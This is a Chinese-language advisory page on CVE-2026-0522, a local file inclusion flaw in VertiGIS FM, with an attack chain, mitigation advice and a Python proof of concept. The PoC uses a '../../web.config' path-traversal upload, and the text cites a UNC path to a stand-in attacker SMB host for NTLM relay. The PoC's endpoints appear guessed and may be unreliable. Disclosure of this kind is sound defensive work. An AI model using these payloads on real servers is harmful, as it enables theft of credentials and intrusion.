IPBUF安全漏洞报告
English
CVE-2026-0522 CVSS 8.8 高危

CVE-2026-0522 VertiGIS FM本地文件包含漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-0522
漏洞类型
本地文件包含
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
VertiGIS FM

相关标签

LFIVertiGIS FMRCEPath TraversalNTLM Relay

漏洞概述

VertiGIS FM应用程序的上传/下载流程中存在本地文件包含漏洞。经过身份认证的攻击者可通过操纵上传时的文件路径,在下载时读取服务器上的任意文件。由于应用基于ASP.NET架构,获取web.config文件可能导致远程代码执行。此外,应用解析UNC路径可能引发NTLM中继攻击。

技术细节

该漏洞的核心在于VertiGIS FM处理文件上传与下载逻辑中的路径验证缺失。应用程序在接收上传请求时,未对用户可控的文件路径参数进行严格的边界检查或规范化处理,允许攻击者通过目录遍历序列(如../)或绝对路径覆盖原始的存储路径。当攻击者触发下载功能时,后端程序直接使用了被污染的路径变量去读取文件系统资源,导致任意文件读取。由于该产品基于ASP.NET架构开发,攻击者通常会利用此漏洞读取Web配置文件web.config。该文件通常包含数据库连接字符串、加密密钥以及内部处理逻辑等敏感信息。一旦获取,攻击者可利用ASP.NET的配置特性或反序列化漏洞,进一步实现远程代码执行(RCE)。此外,漏洞描述中提到应用程序支持UNC路径解析,这意味着攻击者可以将路径指向远程SMB服务器(如\\attacker_server\malicious_file),从而诱使服务器向攻击者控制的服务器发起认证连接。结合NTLM Relay攻击技术,攻击者可能截获并重放认证请求,进而获取对内网其他服务的访问权限。

攻击链分析

STEP 1
1. 身份认证
攻击者使用低权限账户登录VertiGIS FM应用程序。
STEP 2
2. 路径遍历上传
攻击者利用文件上传接口,在文件路径参数中注入路径遍历字符(如../),将路径指向服务器敏感文件(如web.config)。
STEP 3
3. 触发下载
攻击者请求下载刚刚上传的文件记录。
STEP 4
4. 读取敏感文件
服务器根据攻击者操控的路径读取文件并返回内容,导致敏感信息泄露。
STEP 5
5. 进一步利用
利用泄露的web.config信息进行RCE,或使用UNC路径触发NTLM Relay攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-vertigis-instance.com" auth = ('low_priv_user', 'password') # Step 1: Upload a file with a manipulated path # The vulnerability lies in how the application handles the file path during upload. # We attempt to traverse to the web.config file. upload_url = f"{target_url}/api/upload" # The payload attempts to set the file path to the web.config payload = { "fileName": "../../web.config", # Path traversal payload "description": "Malicious upload" } files = { 'file': ('exploit.txt', 'dummy content') } response = requests.post(upload_url, auth=auth, data=payload, files=files) if response.status_code == 200: file_id = response.json().get('id') # Assuming the API returns a file ID print(f"Upload successful. File ID: {file_id}") # Step 2: Download the file # The application returns the content of the path specified in the upload download_url = f"{target_url}/api/download/{file_id}" download_response = requests.get(download_url, auth=auth) if download_response.status_code == 200: print("Successfully retrieved file content:") print(download_response.text) else: print("Download failed") else: print(f"Upload failed: {response.text}")

影响范围

VertiGIS FM 10.5.00119

防御指南

临时缓解措施
建议立即检查并应用VertiGIS官方发布的安全补丁。在补丁部署前,应严格限制对上传/下载功能的访问权限,并在网络防火墙层面阻断服务器向非信任IP发起的SMB(445端口)连接,以防范NTLM中继攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表